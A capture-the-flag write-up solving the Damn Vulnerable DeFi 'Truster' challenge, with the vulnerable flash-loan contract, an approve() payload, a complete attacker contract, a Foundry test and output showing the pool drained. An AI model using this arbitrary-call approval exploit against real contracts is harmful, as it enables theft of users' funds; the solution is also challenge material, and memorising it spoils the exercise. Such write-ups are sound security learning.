Skip to main content

Damn-Truster

Contract Analysis: TrusterLenderPool

Overview

This smart contract is part of the Damn Vulnerable DeFi challenges. The goal is to find a vulnerability in the TrusterLenderPool contract and exploit it to drain all tokens from the pool.

The contract offers a flash loan functionality that temporarily gives tokens to a borrower, expecting them to return the same amount in the same transaction.


Attack Flow

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));

token.transfer(borrower, amount);

target.functionCall(data);
========================================================================
Here the msg.sender=Pool contract .
Executing that function on Token contract approve(attacker,tokens)
So attacker can spend the pool tokens .
Indirectly attacker gain access to spend the tokens from the pool

===========================================================================

if (token.balanceOf(address(this)) < balanceBefore) {
revert RepayFailed();
}

return true;
}

Payload

flashLoan( 0, attackerAddress, tokenAddress, abi.encodeWithSignature( "approve(address,uint256)", attackerAddress, 1_000_000 ether ) )

Code Summary

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";

contract TrusterLenderPool is ReentrancyGuard {
using Address for address;

DamnValuableToken public immutable token;

error RepayFailed();

constructor(DamnValuableToken _token) {
token = _token;
}

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));

token.transfer(borrower, amount);
target.functionCall(data);

if (token.balanceOf(address(this)) < balanceBefore) {
revert RepayFailed();
}

return true;
}
}

Exploit Contract: TrusterAttacker

Overview

This contract demonstrates the exploit against the vulnerable TrusterLenderPool. It leverages the pool’s flash loan function to trick it into approving the attacker contract to spend all the pool’s tokens.


Code Summary

  • The constructor sets references to the token, pool, and the player (recovery address).
  • The main function, attack(), performs the exploit in two steps:

TrusterChallenge Test Contract Analysis

Overview

This is a test contract written using the Foundry framework that sets up, executes, and verifies the exploit on the TrusterLenderPool. It simulates the environment where a player performs the attack and confirms the challenge is solved.


What This Contract Does

  • Setup (setUp):

    • Deploys the token contract (DamnValuableToken).
    • Deploys the vulnerable lending pool (TrusterLenderPool) with the token.
    • Transfers 1 million tokens to the pool as initial liquidity.
    • Assigns addresses for deployer, player, and recovery.
  • Initial State Check (test_assertInitialState):

    • Confirms that the pool holds all the tokens.
    • Confirms the player starts with zero tokens.
  • Attack Execution (test_truster):

    • Runs with the player’s permissions.
    • Deploys the TrusterAttacker contract.
    • Calls the attacker’s attack() function to perform the exploit.
    • Prints token balances after the attack for debugging.
  • Success Verification (_isSolved):

    • Checks that the player executed only one transaction (the attack).
    • Confirms the pool’s token balance is zero (tokens drained).
    • Confirms all tokens were sent to the recovery address.

Key Points

  • This test mimics the real exploit scenario inside a controlled environment.
  • The attack is automated and verified in a single test function.
  • Uses vm.startPrank and vm.stopPrank to simulate actions by the player account.
  • Validates that the exploit successfully transfers all tokens out of the pool to a safe recovery address.
  • Ensures clean and clear success criteria to mark the challenge solved.

Truster Attacker Code

// SPDX-License-Identifier: MIT
pragma solidity =0.8.25;

import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {TrusterLenderPool} from "../../src/truster/TrusterLenderPool.sol";

contract TrusterAttacker {
DamnValuableToken public immutable token;
TrusterLenderPool public immutable pool;
address public player;

constructor(address _token, address _pool, address _player) {
token = DamnValuableToken(_token);
pool = TrusterLenderPool(_pool);
player = _player;
}

function attack() external {
// Encode the call to approve attacker address to spend tokens from pool
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this),
token.balanceOf(address(pool))
);

// Call flashLoan with 0 amount to execute approve
pool.flashLoan(0, address(this), address(token), data);

// Transfer tokens using allowance from pool to recovery
token.transferFrom(address(pool), player, token.balanceOf(address(pool)));
}
}

Testing Code

// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;

import {Test, console} from "forge-std/Test.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {TrusterLenderPool} from "../../src/truster/TrusterLenderPool.sol";
import {TrusterAttacker} from "../../src/truster/TrusterAttacker.sol";

contract TrusterChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");

uint256 constant TOKENS_IN_POOL = 1_000_000e18;

DamnValuableToken public token;
TrusterLenderPool public pool;

modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}

/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy token
token = new DamnValuableToken();

// Deploy pool and fund it
pool = new TrusterLenderPool(token);
token.transfer(address(pool), TOKENS_IN_POOL);

vm.stopPrank();
}

/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
assertEq(address(pool.token()), address(token));
assertEq(token.balanceOf(address(pool)), TOKENS_IN_POOL);
assertEq(token.balanceOf(player), 0);
}

/**
* CODE YOUR SOLUTION HERE
*/
function test_truster() public checkSolvedByPlayer {
// Deploy attacker contract from the player’s perspective
TrusterAttacker attacker = new TrusterAttacker(address(token), address(pool), recovery);

// Execute the attack
attacker.attack();

// Log for debug
console.log("Pool balance after attack:", token.balanceOf(address(pool)));
console.log("Recovery balance after attack:", token.balanceOf(recovery));
}

/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player must have executed a single transaction
assertEq(vm.getNonce(player), 1, "Player executed more than one tx");

// All rescued funds sent to recovery account
assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens");
assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account");
}
}

Test Output Explanation

Running the Tests

  • The tests were run using Foundry's forge test command targeting the Truster challenge test file.
  • A warning about using a nightly build appeared but does not affect the test results.
  • No source files changed since the last compilation, so compilation was skipped.

Test Results

  • Two tests were executed from the TrusterChallenge contract:

    • test_assertInitialState() — confirms the initial token distribution and setup.
    • test_truster() — runs the attack and validates the exploit success.
  • Both tests passed successfully with no failures or skipped tests.

  • Gas usage was reported for each test:

    • Initial state check used ~21,982 gas.
    • The attack test used ~347,472 gas.

Logs from the Attack Test

  • After the attack:
    • Pool token balance is 0, meaning all tokens were drained.
    • Recovery address balance is 1,000,000 tokens (in wei: 1000000000000000000000000).

Test Result

oot@lenova:~/ctf# cd damn-vulnerable-defi
root@lenova:~/ctf/damn-vulnerable-defi# forge test --match-path test/truster/Truster.t.sol -vv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.

[⠊] Compiling...
No files changed, compilation skipped

Ran 2 tests for test/truster/Truster.t.sol:TrusterChallenge
[PASS] test_assertInitialState() (gas: 21982)
[PASS] test_truster() (gas: 347472)
Logs:
Pool balance after attack: 0
Recovery balance after attack: 1000000000000000000000000

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.66ms (585.57µs CPU time)

Ran 1 test suite in 12.14ms (1.66ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
root@lenova:~/ctf/damn-vulnerable-defi#

Performance

  • The full test suite ran in about 12.14 milliseconds (CPU time 1.66 ms).
  • This confirms the exploit was executed efficiently and the test environment is responsive.

Summary

The tests demonstrate that the attack successfully drains all tokens from the vulnerable pool and transfers them to the recovery address, fully solving the challenge.